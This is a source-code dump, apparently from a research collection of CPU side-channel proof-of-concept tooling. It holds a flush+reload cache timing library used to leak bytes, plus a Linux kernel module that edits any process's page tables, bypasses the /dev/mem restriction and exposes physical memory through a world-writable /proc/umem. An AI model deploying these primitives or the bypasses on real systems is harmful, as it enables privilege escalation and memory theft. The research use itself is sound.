{ maccess(ptr); xend(); } } #elif defined(__i386__) // --------------------------------------------------------------------------- uint32_t rdtsc() { uint32_t a, d; asm volatile("mfence"); #if USE_RDTSCP asm volatile("rdtscp" : "=a"(a), "=d"(d)); #else asm volatile("rdtsc" : "=a"(a), "=d"(d)); #endif asm volatile("mfence"); return a; } // --------------------------------------------------------------------------- void flush(void *p) { asm volatile("clflush 0(%0)\n" : : "c"(p)); } // --------------------------------------------------------------------------- void maccess(void *p) { asm volatile("mov (%0), %%eax\n" : : "c"(p) : "eax"); } // --------------------------------------------------------------------------- void mfence() { asm volatile("mfence"); } // --------------------------------------------------------------------------- void nospec() { asm volatile("lfence"); } // --------------------------------------------------------------------------- int has_tsx() { if (__get_cpuid_max(0, NULL) >= 7) { unsigned a, b, c, d; __cpuid_count(7, 0, a, b, c, d); return (b & (1 << 11)) ? 1 : 0; } else { return 0; } } #elif defined(__aarch64__) // --------------------------------------------------------------------------- uint64_t rdtsc() { #if ARM_CLOCK_SOURCE == ARM_PERF long long result = 0; asm volatile("DSB SY"); asm volatile("ISB"); if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) { return 0; } asm volatile("ISB"); asm volatile("DSB SY"); return result; #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC asm volatile("DSB SY"); asm volatile("ISB"); struct timespec t1; clock_gettime(CLOCK_MONOTONIC, &t1); uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec; asm volatile("ISB"); asm volatile("DSB SY"); return res; #elif ARM_CLOCK_SOURCE == ARM_TIMER uint64_t result = 0; asm volatile("DSB SY"); asm volatile("ISB"); asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result)); asm volatile("DSB SY"); asm volatile("ISB"); return result; #else #error Clock source not supported #endif } // --------------------------------------------------------------------------- uint64_t rdtsc_begin() { #if ARM_CLOCK_SOURCE == ARM_PERF long long result = 0; asm volatile("DSB SY"); asm volatile("ISB"); if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) { return 0; } asm volatile("DSB SY"); return result; #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC asm volatile("DSB SY"); asm volatile("ISB"); struct timespec t1; clock_gettime(CLOCK_MONOTONIC, &t1); uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec; asm volatile("DSB SY"); return res; #elif ARM_CLOCK_SOURCE == ARM_TIMER uint64_t result = 0; asm volatile("DSB SY"); asm volatile("ISB"); asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result)); asm volatile("ISB"); return result; #else #error Clock source not supported #endif } // --------------------------------------------------------------------------- uint64_t rdtsc_end() { #if ARM_CLOCK_SOURCE == ARM_PERF long long result = 0; asm volatile("DSB SY"); if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) { return 0; } asm volatile("ISB"); asm volatile("DSB SY"); return result; #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC asm volatile("DSB SY"); struct timespec t1; clock_gettime(CLOCK_MONOTONIC, &t1); uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec; asm volatile("ISB"); asm volatile("DSB SY"); return res; #elif ARM_CLOCK_SOURCE == ARM_TIMER uint64_t result = 0; asm volatile("DSB SY"); asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result)); asm volatile("DSB SY"); asm volatile("ISB"); return result; #else #error Clock source not supported #endif } // --------------------------------------------------------------------------- void flush(void *p) { asm volatile("DC CIVAC, %0" ::"r"(p)); asm volatile("DSB ISH"); asm volatile("ISB"); } // --------------------------------------------------------------------------- void maccess(void *p) { volatile uint32_t value; asm volatile("LDR %0, [%1]\n\t" : "=r"(value) : "r"(p)); asm volatile("DSB ISH"); asm volatile("ISB"); } // --------------------------------------------------------------------------- void mfence() { asm volatile("DSB ISH"); } // --------------------------------------------------------------------------- void nospec() { asm volatile("DSB SY\nISB"); } #elif defined(__PPC64__) uint64_t rdtsc() { uint64_t time; asm volatile ("mfspr %0, 268\n\t" "lwsync\n\t" : "=r" (time)); return time; } // --------------------------------------------------------------------------- uint64_t rdtsc_begin() { uint64_t time; asm volatile ("mfspr %0, 268\n\t" "lwsync\n\t" : "=r" (time)); return time; } // --------------------------------------------------------------------------- uint64_t rdtsc_end() { uint64_t time; asm volatile ("mfspr %0, 268\n\t" "lwsync\n\t" : "=r" (time)); return time; } // --------------------------------------------------------------------------- void flush(void *p) { asm volatile( "dcbf 0, %0\n\t" "dcs\n\t" "ics\n\t" : : "r"(p) : ); } // --------------------------------------------------------------------------- void maccess(void *p) { asm volatile( "ld %%r0, 0(%0)" ::"r"(p): "r0"); } // --------------------------------------------------------------------------- void mfence() { asm volatile( "lwsync" ); } // --------------------------------------------------------------------------- void nospec() { asm volatile( "hwsync" ); } #endif // --------------------------------------------------------------------------- int flush_reload(void *ptr) { uint64_t start = 0, end = 0; #if USE_RDTSC_BEGIN_END start = rdtsc_begin(); #else start = rdtsc(); #endif maccess(ptr); #if USE_RDTSC_BEGIN_END end = rdtsc_end(); #else end = rdtsc(); #endif mfence(); flush(ptr); if (end - start < CACHE_MISS) { return 1; } return 0; } // --------------------------------------------------------------------------- int flush_reload_t(void *ptr) { uint64_t start = 0, end = 0; #if USE_RDTSC_BEGIN_END start = rdtsc_begin(); #else start = rdtsc(); #endif maccess(ptr); #if USE_RDTSC_BEGIN_END end = rdtsc_end(); #else end = rdtsc(); #endif mfence(); flush(ptr); return (int)(end - start); } // --------------------------------------------------------------------------- int reload_t(void *ptr) { uint64_t start = 0, end = 0; #if USE_RDTSC_BEGIN_END start = rdtsc_begin(); #else start = rdtsc(); #endif maccess(ptr); #if USE_RDTSC_BEGIN_END end = rdtsc_end(); #else end = rdtsc(); #endif mfence(); return (int)(end - start); } // --------------------------------------------------------------------------- size_t detect_flush_reload_threshold() { size_t reload_time = 0, flush_reload_time = 0, i, count = 1000000; size_t dummy[16]; size_t *ptr = dummy + 8; maccess(ptr); for (i = 0; i < count; i++) { reload_time += reload_t(ptr); } for (i = 0; i < count; i++) { flush_reload_time += flush_reload_t(ptr); } reload_time /= count; flush_reload_time /= count; return (flush_reload_time + reload_time * 2) / 3; } // --------------------------------------------------------------------------- void maccess_speculative(void* ptr) { int i; size_t dummy = 0; void* addr; for(i = 0; i < 50; i++) { size_t c = ((i * 167) + 13) & 1; addr = (void*)(((size_t)&dummy) * c + ((size_t)ptr) * (1 - c)); flush(&c); mfence(); if(c / 0.5 > 1.1) maccess(addr); } } // --------------------------------------------------------------------------- void unblock_signal(int signum __attribute__((__unused__))) { sigset_t sigs; sigemptyset(&sigs); sigaddset(&sigs, signum); sigprocmask(SIG_UNBLOCK, &sigs, NULL); } // --------------------------------------------------------------------------- void trycatch_segfault_handler(int signum) { (void)signum; int i; for(i = 1; i < 32; i++) { unblock_signal(i); } longjmp(trycatch_buf, 1); } // --------------------------------------------------------------------------- int try_start() { #if defined(__i386__) || defined(__x86_64__) if(has_tsx()) { unsigned status; // tsx begin asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00" : "=a"(status) : "a"(-1UL) : "memory"); return status == (~0u); } else #endif { int i; for(i = 1; i < 32; i++) { signal(i, trycatch_segfault_handler); } return !setjmp(trycatch_buf); } } // --------------------------------------------------------------------------- void try_end() { #if defined(__i386__) || defined(__x86_64__) if(!has_tsx()) #endif { int i; for(i = 1; i < 32; i++) { signal(i, SIG_DFL); } } } // --------------------------------------------------------------------------- void try_abort() { #if defined(__i386__) || defined(__x86_64__) if(has_tsx()) { asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory"); } else #endif { maccess(0); } } // --------------------------------------------------------------------------- void cache_encode(char data) { maccess(mem + data * pagesize); } // --------------------------------------------------------------------------- void cache_decode_pretty(char *leaked, int index) { for(int i = 0; i < 256; i++) { int mix_i = ((i * 167) + 13) & 255; // avoid prefetcher if(flush_reload(mem + mix_i * pagesize)) { if((mix_i >= 'A' && mix_i <= 'Z') && leaked[index] == ' ') { leaked[index] = mix_i; printf("\x1b[33m%s\x1b[0m\r", leaked); } fflush(stdout); sched_yield(); } } } // --------------------------------------------------------------------------- void flush_shared_memory() { for(int j = 0; j < 256; j++) { flush(mem + j * pagesize); } } ================================================ FILE: pocs/libcache/cache.h ================================================ #ifndef _CACHEUTILS_H_ #define _CACHEUTILS_H_ #include #include #include #include #include #include #include #include #include #include #define ARM_PERF 1 #define ARM_CLOCK_MONOTONIC 2 #define ARM_TIMER 3 /* ============================================================ * User configuration * ============================================================ */ static size_t CACHE_MISS = 0; static size_t pagesize = 0; char *mem; #define USE_RDTSC_BEGIN_END 0 #define USE_RDTSCP 1 #define ARM_CLOCK_SOURCE ARM_CLOCK_MONOTONIC /* ============================================================ * User configuration End * ============================================================ */ // --------------------------------------------------------------------------- static size_t perf_fd; void perf_init(); #if defined(__x86_64__) // --------------------------------------------------------------------------- uint64_t rdtsc(); // --------------------------------------------------------------------------- uint64_t rdtsc_begin(); // --------------------------------------------------------------------------- uint64_t rdtsc_end(); // --------------------------------------------------------------------------- void flush(void *p); // --------------------------------------------------------------------------- void maccess(void *p); // --------------------------------------------------------------------------- void mfence(); // --------------------------------------------------------------------------- void nospec(); #include // --------------------------------------------------------------------------- unsigned int xbegin(); // --------------------------------------------------------------------------- void xend(); // --------------------------------------------------------------------------- int has_tsx(); // --------------------------------------------------------------------------- void maccess_tsx(void* ptr); #elif defined(__i386__) // --------------------------------------------------------------------------- uint32_t rdtsc(); // --------------------------------------------------------------------------- void flush(void *p); // --------------------------------------------------------------------------- void maccess(void *p); // --------------------------------------------------------------------------- void mfence(); // --------------------------------------------------------------------------- void nospec(); #include // --------------------------------------------------------------------------- int has_tsx(); #elif defined(__aarch64__) #if ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC #include #endif // --------------------------------------------------------------------------- uint64_t rdtsc(); // --------------------------------------------------------------------------- uint64_t rdtsc_begin(); // --------------------------------------------------------------------------- uint64_t rdtsc_end(); // --------------------------------------------------------------------------- void flush(void *p); // --------------------------------------------------------------------------- void maccess(void *p); // --------------------------------------------------------------------------- void mfence(); // --------------------------------------------------------------------------- void nospec(); #elif defined(__PPC64__) #include uint64_t rdtsc(); // --------------------------------------------------------------------------- uint64_t rdtsc_begin(); // --------------------------------------------------------------------------- uint64_t rdtsc_end(); // --------------------------------------------------------------------------- void flush(void *p); // --------------------------------------------------------------------------- void maccess(void *p); // --------------------------------------------------------------------------- void mfence(); // --------------------------------------------------------------------------- void nospec(); #endif // --------------------------------------------------------------------------- int flush_reload(void *ptr); // --------------------------------------------------------------------------- int flush_reload_t(void *ptr); // --------------------------------------------------------------------------- int reload_t(void *ptr); // --------------------------------------------------------------------------- size_t detect_flush_reload_threshold(); // --------------------------------------------------------------------------- void maccess_speculative(void* ptr); // --------------------------------------------------------------------------- jmp_buf trycatch_buf; // --------------------------------------------------------------------------- void unblock_signal(int signum __attribute__((__unused__))); // --------------------------------------------------------------------------- void trycatch_segfault_handler(int signum); // --------------------------------------------------------------------------- int try_start(); // --------------------------------------------------------------------------- void try_end(); // --------------------------------------------------------------------------- void try_abort(); // --------------------------------------------------------------------------- void cache_encode(char data); // --------------------------------------------------------------------------- void cache_decode_pretty(char *leaked, int index); // --------------------------------------------------------------------------- void flush_shared_memory(); #endif ================================================ FILE: pocs/libpte/.gitignore ================================================ # ---> C # Object files *.o *.ko *.obj *.elf # Precompiled Headers *.gch *.pch # Libraries *.lib *.a *.la *.lo # Shared objects (inc. Windows DLLs) *.dll *.so *.so.* *.dylib # Executables *.exe *.out *.app *.i*86 *.x86_64 *.hex # Debug files *.dSYM/ ================================================ FILE: pocs/libpte/Makefile ================================================ all: pteditor ptedit.o header libpte.a header: module/pteditor.c module/pteditor.h ptedit.c ptedit.h cat module/pteditor.h ptedit.h ptedit.c | \ sed -e 's/#include ".*"//g' -e "1i // Warning: this file was generated by make. DO NOT EDIT!" > ptedit_header.h pteditor: module/pteditor.c cd module && make ptedit.o: ptedit.c ptedit.h gcc -Wall -Wextra ptedit.c -c libpte.a: ptedit.o ar rcs libpte.a ptedit.o clean: cd module && make clean rm -f example *.o *.a ================================================ FILE: pocs/libpte/module/Makefile ================================================ obj-m += pteditor.o ccflags-y += -Wno-unused-result all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean ================================================ FILE: pocs/libpte/module/pteditor.c ================================================ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0) #include #endif #ifdef CONFIG_PAGE_TABLE_ISOLATION pgd_t __attribute__((weak)) __pti_set_user_pgtbl(pgd_t *pgdp, pgd_t pgd); #endif #include "pteditor.h" MODULE_AUTHOR("Michael Schwarz"); MODULE_DESCRIPTION("Device to play around with paging structures"); MODULE_LICENSE("GPL"); #if defined(__aarch64__) #include #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0) typedef pgdval_t p4dval_t; #endif void __attribute__((weak)) set_swapper_pgd(pgd_t* pgdp, pgd_t pgd) {} pgd_t __attribute__((weak)) swapper_pg_dir[PTRS_PER_PGD]; static inline pte_t native_make_pte(pteval_t val) { return __pte(val); } static inline pgd_t native_make_pgd(pgdval_t val) { return __pgd(val); } static inline pmd_t native_make_pmd(pmdval_t val) { return __pmd(val); } static inline pud_t native_make_pud(pudval_t val) { return __pud(val); } #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0) static inline p4d_t native_make_p4d(p4dval_t val) { return __p4d(val); } #endif static inline pteval_t native_pte_val(pte_t pte) { return pte_val(pte); } static inline int pud_large(pud_t pud) { #ifdef __PAGETABLE_PMD_FOLDED return pud_val(pud) && !(pud_val(pud) & PUD_TABLE_BIT); #else return 0; #endif } static inline int pmd_large(pmd_t pmd) { #ifdef __PAGETABLE_PMD_FOLDED return pmd_val(pmd) && !(pmd_val(pmd) & PMD_TABLE_BIT) #else return 0; #endif } #endif #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0) #define from_user raw_copy_from_user #define to_user raw_copy_to_user #else #define from_user copy_from_user #define to_user copy_to_user #endif #ifdef pr_fmt #undef pr_fmt #endif #define pr_fmt(fmt) "[pteditor-module] " fmt #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 7, 0) unsigned long kallsyms_lookup_name(const char* name) { struct kprobe kp = { .symbol_name = name, }; int ret = register_kprobe(&kp); if (ret < 0) { return 0; }; unregister_kprobe(&kp); return (unsigned long) kp.addr; } #endif typedef struct { size_t pid; pgd_t *pgd; #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0) p4d_t *p4d; #else size_t *p4d; #endif pud_t *pud; pmd_t *pmd; pte_t *pte; size_t valid; } vm_t; static bool device_busy = false; static bool mm_is_locked = false; void (*invalidate_tlb)(unsigned long); void (*flush_tlb_mm_range_func)(struct mm_struct*, unsigned long, unsigned long, unsigned int, bool); static struct mm_struct* get_mm(size_t); static int device_open(struct inode *inode, struct file *file) { /* Check if device is busy */ if (device_busy == true) { return -EBUSY; } device_busy = true; return 0; } static int device_release(struct inode *inode, struct file *file) { /* Unlock module */ device_busy = false; return 0; } static void _invalidate_tlb(void *addr) { #if defined(__i386__) || defined(__x86_64__) int pcid; unsigned long flags; unsigned long cr4; #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 2, 98) #if defined(X86_FEATURE_INVPCID_SINGLE) && defined(INVPCID_TYPE_INDIV_ADDR) if (cpu_feature_enabled(X86_FEATURE_INVPCID_SINGLE)) { for(pcid = 0; pcid < 4096; pcid++) { invpcid_flush_one(pcid, (long unsigned int) addr); } } else #endif { raw_local_irq_save(flags); #if LINUX_VERSION_CODE < KERNEL_VERSION(5, 8, 0) #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 0, 0) cr4 = native_read_cr4(); #else cr4 = this_cpu_read(cpu_tlbstate.cr4); #endif #else cr4 = __read_cr4(); #endif #if LINUX_VERSION_CODE < KERNEL_VERSION(5, 8, 0) native_write_cr4(cr4 & ~X86_CR4_PGE); native_write_cr4(cr4); #else __write_cr4(cr4 & ~X86_CR4_PGE); __write_cr4(cr4); #endif raw_local_irq_restore(flags); } #else asm volatile ("invlpg (%0)": : "r"(addr)); #endif #elif defined(__aarch64__) asm volatile ("dsb ishst"); asm volatile ("tlbi vmalle1is"); asm volatile ("dsb ish"); asm volatile ("isb"); #endif } static void invalidate_tlb_custom(unsigned long addr) { on_each_cpu(_invalidate_tlb, (void*) addr, 1); } static void invalidate_tlb_kernel(unsigned long addr) { flush_tlb_mm_range_func(get_mm(task_pid_nr(current)), addr, addr + PAGE_SIZE, PAGE_SHIFT, false); } static void _set_pat(void* _pat) { #if defined(__i386__) || defined(__x86_64__) int low, high; size_t pat = (size_t)_pat; low = pat & 0xffffffff; high = (pat >> 32) & 0xffffffff; asm volatile("wrmsr" : : "a"(low), "d"(high), "c"(0x277)); #elif defined(__aarch64__) size_t pat = (size_t)_pat; asm volatile ("msr mair_el1, %0\n" : : "r"(pat)); #endif } static void set_pat(size_t pat) { on_each_cpu(_set_pat, (void*) pat, 1); } static struct mm_struct* get_mm(size_t pid) { struct task_struct *task; struct pid* vpid; /* Find mm */ task = current; if(pid != 0) { vpid = find_vpid(pid); if(!vpid) return NULL; task = pid_task(vpid, PIDTYPE_PID); if(!task) return NULL; } if(task->mm) { return task->mm; } else { return task->active_mm; } return NULL; } static int resolve_vm(size_t addr, vm_t* entry, int lock) { struct mm_struct *mm; if(!entry) return 1; entry->pud = NULL; entry->pmd = NULL; entry->pgd = NULL; entry->pte = NULL; entry->p4d = NULL; entry->valid = 0; mm = get_mm(entry->pid); if(!mm) { return 1; } /* Lock mm */ #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0) if(lock) mmap_read_lock(mm); #else if(lock) down_read(&mm->mmap_sem); #endif /* Return PGD (page global directory) entry */ entry->pgd = pgd_offset(mm, addr); if (pgd_none(*(entry->pgd)) || pgd_bad(*(entry->pgd))) { entry->pgd = NULL; goto error_out; } entry->valid |= PTEDIT_VALID_MASK_PGD; #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0) /* Return p4d offset */ entry->p4d = p4d_offset(entry->pgd, addr); if (p4d_none(*(entry->p4d)) || p4d_bad(*(entry->p4d))) { entry->p4d = NULL; goto error_out; } entry->valid |= PTEDIT_VALID_MASK_P4D; /* Get offset of PUD (page upper directory) */ entry->pud = pud_offset(entry->p4d, addr); if (pud_none(*(entry->pud))) { entry->pud = NULL; goto error_out; } entry->valid |= PTEDIT_VALID_MASK_PUD; #else /* Get offset of PUD (page upper directory) */ entry->pud = pud_offset(entry->pgd, addr); if (pud_none(*(entry->pud))) { entry->pud = NULL; goto error_out; } entry->valid |= PTEDIT_VALID_MASK_PUD; #endif /* Get offset of PMD (page middle directory) */ entry->pmd = pmd_offset(entry->pud, addr); if (pmd_none(*(entry->pmd)) || pud_large(*(entry->pud))) { entry->pmd = NULL; goto error_out; } entry->valid |= PTEDIT_VALID_MASK_PMD; /* Map PTE (page table entry) */ entry->pte = pte_offset_map(entry->pmd, addr); if (entry->pte == NULL || pmd_large(*(entry->pmd))) { entry->pte = NULL; goto error_out; } entry->valid |= PTEDIT_VALID_MASK_PTE; /* Unmap PTE, fine on x86 and ARM64 -> unmap is NOP */ pte_unmap(entry->pte); /* Unlock mm */ #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0) if(lock) mmap_read_unlock(mm); #else if(lock) up_read(&mm->mmap_sem); #endif return 0; error_out: /* Unlock mm */ #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0) if(lock) mmap_read_unlock(mm); #else if(lock) up_read(&mm->mmap_sem); #endif return 1; } static int update_vm(ptedit_entry_t* new_entry, int lock) { vm_t old_entry; size_t addr = new_entry->vaddr; struct mm_struct *mm = get_mm(new_entry->pid); if(!mm) return 1; old_entry.pid = new_entry->pid; /* Lock mm */ #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0) if(lock) mmap_write_lock(mm); #else if(lock) down_write(&mm->mmap_sem); #endif resolve_vm(addr, &old_entry, 0); /* Update entries */ if((old_entry.valid & PTEDIT_VALID_MASK_PGD) && (new_entry->valid & PTEDIT_VALID_MASK_PGD)) { pr_warn("Updating PGD\n"); set_pgd(old_entry.pgd, native_make_pgd(new_entry->pgd)); } #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0) if((old_entry.valid & PTEDIT_VALID_MASK_P4D) && (new_entry->valid & PTEDIT_VALID_MASK_P4D)) { pr_warn("Updating P4D\n"); set_p4d(old_entry.p4d, native_make_p4d(new_entry->p4d)); } #endif if((old_entry.valid & PTEDIT_VALID_MASK_PMD) && (new_entry->valid & PTEDIT_VALID_MASK_PMD)) { pr_warn("Updating PMD\n"); set_pmd(old_entry.pmd, native_make_pmd(new_entry->pmd)); } if((old_entry.valid & PTEDIT_VALID_MASK_PUD) && (new_entry->valid & PTEDIT_VALID_MASK_PUD)) { pr_warn("Updating PUD\n"); set_pud(old_entry.pud, native_make_pud(new_entry->pud)); } if((old_entry.valid & PTEDIT_VALID_MASK_PTE) && (new_entry->valid & PTEDIT_VALID_MASK_PTE)) { pr_warn("Updating PTE\n"); set_pte(old_entry.pte, native_make_pte(new_entry->pte)); } invalidate_tlb(addr); /* Unlock mm */ #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0) if(lock) mmap_write_unlock(mm); #else if(lock) up_write(&mm->mmap_sem); #endif return 0; } static void vm_to_user(ptedit_entry_t* user, vm_t* vm) { #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0) #if CONFIG_PGTABLE_LEVELS > 4 if(vm->p4d) user->p4d = (vm->p4d)->p4d; #else #if !defined(__ARCH_HAS_5LEVEL_HACK) if(vm->p4d) user->p4d = (vm->p4d)->pgd.pgd; #else if(vm->p4d) user->p4d = (vm->p4d)->pgd; #endif #endif #endif #if defined(__i386__) || defined(__x86_64__) if(vm->pgd) user->pgd = (vm->pgd)->pgd; if(vm->pmd) user->pmd = (vm->pmd)->pmd; if(vm->pud) user->pud = (vm->pud)->pud; if(vm->pte) user->pte = (vm->pte)->pte; #elif defined(__aarch64__) if(vm->pgd) user->pgd = pgd_val(*(vm->pgd)); if(vm->pmd) user->pmd = pmd_val(*(vm->pmd)); if(vm->pud) user->pud = pud_val(*(vm->pud)); if(vm->pte) user->pte = pte_val(*(vm->pte)); #endif user->valid = vm->valid; } static long device_ioctl(struct file *file, unsigned int ioctl_num, unsigned long ioctl_param) { switch (ioctl_num) { case PTEDITOR_IOCTL_CMD_VM_RESOLVE: { ptedit_entry_t vm_user; vm_t vm; (void)from_user(&vm_user, (void*)ioctl_param, sizeof(vm_user)); vm.pid = vm_user.pid; resolve_vm(vm_user.vaddr, &vm, !mm_is_locked); vm_to_user(&vm_user, &vm); (void)to_user((void*)ioctl_param, &vm_user, sizeof(vm_user)); return 0; } case PTEDITOR_IOCTL_CMD_VM_UPDATE: { ptedit_entry_t vm_user; (void)from_user(&vm_user, (void*)ioctl_param, sizeof(vm_user)); update_vm(&vm_user, !mm_is_locked); return 0; } case PTEDITOR_IOCTL_CMD_VM_LOCK: { struct mm_struct *mm = current->active_mm; if(mm_is_locked) { pr_warn("VM is already locked\n"); return -1; } #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0) mmap_write_lock(mm); mmap_read_lock(mm); #else down_write(&mm->mmap_sem); down_read(&mm->mmap_sem); #endif mm_is_locked = true; return 0; } case PTEDITOR_IOCTL_CMD_VM_UNLOCK: { struct mm_struct *mm = current->active_mm; if(!mm_is_locked) { pr_warn("VM is not locked\n"); return -1; } #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0) mmap_write_unlock(mm); mmap_read_unlock(mm); #else up_write(&mm->mmap_sem); up_read(&mm->mmap_sem); #endif mm_is_locked = false; return 0; } case PTEDITOR_IOCTL_CMD_READ_PAGE: { ptedit_page_t page; (void)from_user(&page, (void*)ioctl_param, sizeof(page)); to_user(page.buffer, phys_to_virt(page.pfn * PAGE_SIZE), PAGE_SIZE); return 0; } case PTEDITOR_IOCTL_CMD_WRITE_PAGE: { ptedit_page_t page; (void)from_user(&page, (void*)ioctl_param, sizeof(page)); (void)from_user(phys_to_virt(page.pfn * PAGE_SIZE), page.buffer, PAGE_SIZE); return 0; } case PTEDITOR_IOCTL_CMD_GET_ROOT: { struct mm_struct *mm; ptedit_paging_t paging; (void)from_user(&paging, (void*)ioctl_param, sizeof(paging)); mm = get_mm(paging.pid); if(!mm) return 1; #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0) if(!mm_is_locked) mmap_read_lock(mm); #else if(!mm_is_locked) down_read(&mm->mmap_sem); #endif paging.root = virt_to_phys(mm->pgd); #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0) if(!mm_is_locked) mmap_read_unlock(mm); #else if(!mm_is_locked) up_read(&mm->mmap_sem); #endif (void)to_user((void*)ioctl_param, &paging, sizeof(paging)); return 0; } case PTEDITOR_IOCTL_CMD_SET_ROOT: { struct mm_struct *mm; ptedit_paging_t paging = {0}; (void)from_user(&paging, (void*)ioctl_param, sizeof(paging)); mm = get_mm(paging.pid); if(!mm) return 1; #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0) if(!mm_is_locked) mmap_write_lock(mm); #else if(!mm_is_locked) down_write(&mm->mmap_sem); #endif mm->pgd = (pgd_t*)phys_to_virt(paging.root); #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 8, 0) if(!mm_is_locked) mmap_write_unlock(mm); #else if(!mm_is_locked) up_write(&mm->mmap_sem); #endif return 0; } case PTEDITOR_IOCTL_CMD_GET_PAGESIZE: return PAGE_SIZE; case PTEDITOR_IOCTL_CMD_INVALIDATE_TLB: invalidate_tlb(ioctl_param); return 0; case PTEDITOR_IOCTL_CMD_GET_PAT: { #if defined(__i386__) || defined(__x86_64__) int low, high; size_t pat; asm volatile("rdmsr" : "=a"(low), "=d"(high) : "c"(0x277)); pat = low | (((size_t)high) << 32); (void)to_user((void*)ioctl_param, &pat, sizeof(pat)); return 0; #elif defined(__aarch64__) uint64_t value; asm volatile ("mrs %0, mair_el1\n" : "=r"(value)); (void)to_user((void*)ioctl_param, &value, sizeof(value)); return 0; #endif } case PTEDITOR_IOCTL_CMD_SET_PAT: { set_pat(ioctl_param); return 0; } case PTEDITOR_IOCTL_CMD_SWITCH_TLB_INVALIDATION: { if((int)ioctl_param != PTEDITOR_TLB_INVALIDATION_KERNEL && (int)ioctl_param != PTEDITOR_TLB_INVALIDATION_CUSTOM) return -1; invalidate_tlb = ((int)ioctl_param == PTEDITOR_TLB_INVALIDATION_KERNEL) ? invalidate_tlb_kernel : invalidate_tlb_custom; return 0; } default: return -1; } return 0; } static struct file_operations f_ops = {.owner = THIS_MODULE, .unlocked_ioctl = device_ioctl, .open = device_open, .release = device_release}; static struct miscdevice misc_dev = { .minor = MISC_DYNAMIC_MINOR, .name = PTEDITOR_DEVICE_NAME, .fops = &f_ops, .mode = S_IRWXUGO, }; #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 6, 0) static struct proc_ops umem_ops = { #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 7, 0) .proc_flags = 0, #endif .proc_open = NULL, .proc_read = NULL, .proc_write = NULL, .proc_lseek = NULL, .proc_release = NULL, .proc_poll = NULL, .proc_ioctl = NULL, #ifdef CONFIG_COMPAT .proc_compat_ioctl = NULL, #endif .proc_mmap = NULL, .proc_get_unmapped_area = NULL, }; #define OP_lseek lseek #define OPCAT(a, b) a ## b #define OPS(o) OPCAT(umem_ops.proc_, o) #else static struct file_operations umem_ops = {.owner = THIS_MODULE}; #define OP_lseek llseek #define OPS(o) umem_ops.o #endif static int open_umem(struct inode *inode, struct file *filp) { return 0; } static int has_umem = 0; #if !defined(__aarch64__) static const char *devmem_hook = "devmem_is_allowed"; static int devmem_bypass(struct kretprobe_instance *p, struct pt_regs *regs) { if (regs->ax == 0) { regs->ax = 1; } return 0; } static struct kretprobe probe_devmem = {.handler = devmem_bypass, .maxactive = 20}; #endif int init_module(void) { int r; /* Register device */ r = misc_register(&misc_dev); if (r != 0) { pr_alert("Failed registering device with %d\n", r); return 1; } flush_tlb_mm_range_func = (void *) kallsyms_lookup_name("flush_tlb_mm_range"); if(!flush_tlb_mm_range_func) { pr_alert("Could not retrieve flush_tlb_mm_range function\n"); } invalidate_tlb = invalidate_tlb_kernel; #if !defined(__aarch64__) probe_devmem.kp.symbol_name = devmem_hook; if (register_kretprobe(&probe_devmem) < 0) { pr_alert("Could not bypass /dev/mem restriction\n"); } else { pr_info("/dev/mem is now superuser read-/writable\n"); } #endif OPS(OP_lseek) = (void*)kallsyms_lookup_name("memory_lseek"); OPS(read) = (void*)kallsyms_lookup_name("read_mem"); OPS(write) = (void*)kallsyms_lookup_name("write_mem"); OPS(mmap) = (void*)kallsyms_lookup_name("mmap_mem"); OPS(open) = open_umem; if (!OPS(OP_lseek) || !OPS(read) || !OPS(write) || !OPS(mmap) || !OPS(open)) { pr_alert("Could not create unprivileged memory access\n"); } else { proc_create("umem", 0666, NULL, &umem_ops); pr_info("Unprivileged memory access via /proc/umem set up\n"); has_umem = 1; } pr_info("Loaded.\n"); return 0; } void cleanup_module(void) { misc_deregister(&misc_dev); #if !defined(__aarch64__) unregister_kretprobe(&probe_devmem); #endif if (has_umem) { pr_info("Remove unprivileged memory access\n"); remove_proc_entry("umem", NULL); } pr_info("Removed.\n"); } ================================================ FILE: pocs/libpte/module/pteditor.h 